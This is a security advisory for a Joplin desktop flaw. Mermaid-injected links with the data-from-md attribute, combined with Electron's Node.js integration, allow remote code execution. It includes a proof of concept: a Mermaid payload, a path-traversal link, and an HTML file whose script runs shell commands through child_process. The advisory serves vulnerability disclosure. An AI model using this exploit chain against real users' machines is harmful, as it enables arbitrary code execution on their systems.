Remote Code Execution on click of <a> Link in markdown preview

Summary

There is a vulnerability in Joplin-desktop that leads to remote code execution (RCE) when a user clicks on an <a> link within untrusted notes. The issue arises due to insufficient sanitization of <a> tag attributes introduced by the Mermaid. This vulnerability allows the execution of untrusted HTML content within the Electron window, which has full access to Node.js APIs, enabling arbitrary shell command execution.

Details

In the markdown preview iframe, Joplin only opens <a> links internally within the same Electron window if they contain the data-from-md attribute. While Joplin successfully sanitizes the data-from-md attribute in user-embedded <a> links from the .md file to prevent the execution of untrusted HTML content, it fails to sanitize the data-from-md attributes of <a> tags introduced by Mermaid (e.g., the code snippet shown below). Since Mermaid allows the rendering of certain scriptless HTML elements, an attacker can embed <a> tags with data-from-md attributes, which will then be opened internally in the same Electron window.

Additionally, Joplin opens the window with nodeIntegration set to true and contextIsolation set to false, resulting in any scripts running in the opened window having full access to Node.js APIs. Furthermore, the markdown preview iframe shares the same origin (i.e.,local file system) as its parent and lacks the sandbox attribute, allowing scripts running in the iframe to call Node.js APIs through window.parent. As a result, an attacker can execute arbitrary code using Node.js APIs by exploiting HTML files stored on the local file system, which share the same origin as the parent.

Relevant code references:

• Payload to inject <a> with data-from-md attribute:

```mermaid
flowchart TD
    A[<a href="https://attacker.com" data-from-md>hello</a>]
```

• Handling link navigation in the markdown preview iframe

https://github.com/laurent22/joplin/blob/e6c09da639adeb76f12e4477cc8442c49c0ced0c/packages/lib/renderers/webviewLib.js#L93-L116

• Window configuration of Joplin window

https://github.com/laurent22/joplin/blob/e6c09da639adeb76f12e4477cc8442c49c0ced0c/packages/app-desktop/ElectronAppWrapper.ts#L141-L155

PoC

Considering the user has downloaded the following shared files from the internet (Note: the threat model aligns with existing published security issues: GHSA-2h88-m32f-qh5m and GHSA-g8qx-5vcm-3x59, where the malicious HTML file is available locally):

• poc.md

```mermaid
flowchart TD
    A[<a href="/../../../../../../../../../../../../../../../path/to/poc2.html" data-from-md>hello</a>]
```

• poc2.html

<html>
  <body>
    <script>
      if (typeof window.parent.require !== 'undefined') {
        const { exec } = window.parent.require('child_process');
        exec('ls -al', (err, stdout, stderr) => {
          if (err) {
            document.body.innerText = `Error: ${err.message}`;
            return;
          }
          if (stderr) {
            document.body.innerText = `Stderr: ${stderr}`;
            return;
          }
          document.body.innerText = stdout;
        });
      } else {
        document.body.innerText = 'Require is not available in this environment.';
      }
    </script>
  </body>
</html>

Then, open the poc.md with Joplin and click on the hello link. The code embedded in the poc2.html will be executed.

Impact

This vulnerability can lead to Remote Code Execution (RCE) when users open and interact with untrusted notes, while malicious HTML files are available locally.